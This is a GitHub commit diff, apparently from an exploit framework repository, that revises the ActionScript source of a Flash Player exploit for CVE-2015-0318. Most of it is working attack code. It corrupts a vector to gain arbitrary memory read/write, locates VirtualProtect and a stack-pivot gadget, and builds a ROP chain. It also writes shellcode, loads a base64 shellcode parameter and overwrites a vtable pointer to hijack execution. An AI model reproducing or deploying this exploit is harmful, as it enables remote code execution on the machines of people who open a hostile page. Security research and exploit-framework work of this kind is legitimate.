Skip to content

Commit 0c3329f

Browse files
committed
Back on track
1 parent 43b9061 commit 0c3329f

File tree

2 files changed

+33
-42
lines changed
  • data/exploits/CVE-2015-0318
  • external/source/exploits/CVE-2015-0318

2 files changed

+33
-42
lines changed

data/exploits/CVE-2015-0318/Main.swf

14.8 KB
Binary file not shown.

external/source/exploits/CVE-2015-0318/Main.as

Lines changed: 33 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,13 @@
11
package
22
{
3+
import mx.utils.Base64Decoder;
34
import flash.display.*;
45
import flash.utils.ByteArray;
56
import flash.external.ExternalInterface;
67
import mx.utils.Base64Decoder;
78

89
public class Main extends Sprite
9-
{
10+
{
1011
private var i:int;
1112
private var j:int;
1213

@@ -36,12 +37,8 @@ package
3637
private var junk:Array = new Array();
3738
private var junk_idx:int = 0;
3839

39-
public static function Alert(message:String):void {
40-
ExternalInterface.call('debug_alert', message);
41-
}
42-
4340
public static function Debug(message:String):void {
44-
ExternalInterface.call('debug_print', message);
41+
ExternalInterface.call('console.log', message);
4542
}
4643

4744
public function MakeRegex(c:String):String {
@@ -392,7 +389,7 @@ package
392389
// TODO: we can optimise here as we know the alignment of the
393390
// magic values.
394391

395-
Alert(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
392+
Debug(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
396393

397394
for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
398395
if (m.read_dword(ptr) == 0xdecafbad
@@ -409,16 +406,6 @@ package
409406

410407
return 0;
411408
}
412-
413-
public function GetShellcodeParam():String {
414-
var b64:Base64Decoder = new Base64Decoder();
415-
var payload:String = "";
416-
Alert("Gonna decode");
417-
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh);
418-
Alert("Finished Decode");
419-
payload = b64.toByteArray().toString();
420-
return payload;
421-
}
422409

423410
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
424411

@@ -472,12 +459,17 @@ package
472459
v[i++] = fun;
473460
v[i++] = 0x9090e0ff; // FFE0 jmp eax
474461
}
475-
462+
463+
public function GetPayload():String {
464+
var b64:Base64Decoder = new Base64Decoder();
465+
var p:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
466+
b64.decode(p);
467+
var payload:String = b64.toByteArray().toString();
468+
return payload;
469+
}
470+
476471
public function Main() {
477-
Alert("1");
478-
var sh:String = GetShellcodeParam();
479-
Alert("2");
480-
Debug("Shellcoe: " + sh.toString());
472+
var payload:String = GetPayload();
481473

482474
i = 0;
483475

@@ -488,15 +480,14 @@ package
488480
return;
489481
}
490482

491-
Alert('hai');
483+
Debug("Corrupting Vector");
492484

493485
var v:Vector.<uint> = CorruptVector(r);
494486
if (v == null) {
495487
Debug("CorruptVector returns null");
496488
return;
497489
}
498490

499-
Alert("Memory");
500491
var m:Memory = new Memory(v, v[0], 0x6e);
501492

502493
// at this point we have an absolute read/write primitive letting
@@ -532,10 +523,10 @@ package
532523

533524
var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
534525
Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');
535-
526+
527+
// Find this in Flash
536528
// 81 c4 40 00 00 00 add esp, 40h
537529
// c3 ret
538-
539530
var gadget_bytes:ByteArray = new ByteArray();
540531
gadget_bytes.length = 7;
541532
gadget_bytes.writeByte(0x81);
@@ -582,22 +573,22 @@ package
582573

583574
var a:uint = 0x61616161;
584575
pwned.Rop(
585-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
586-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
587-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
588-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
589-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
590-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
591-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
592-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
593-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
594-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
595-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
596-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
597-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
598-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
599-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a,
600-
a, a, a, a, a, a, a, a, a, a, a, a, a, a, a, a);
576+
a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
577+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
578+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
579+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
580+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
581+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
582+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
583+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
584+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
585+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
586+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
587+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
588+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
589+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
590+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
591+
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret);
601592

602593
// overwrite the method pointer
603594
m.write_dword(vtable_ptr + 4, add_esp_40h_ret);

0 commit comments

Comments
 (0)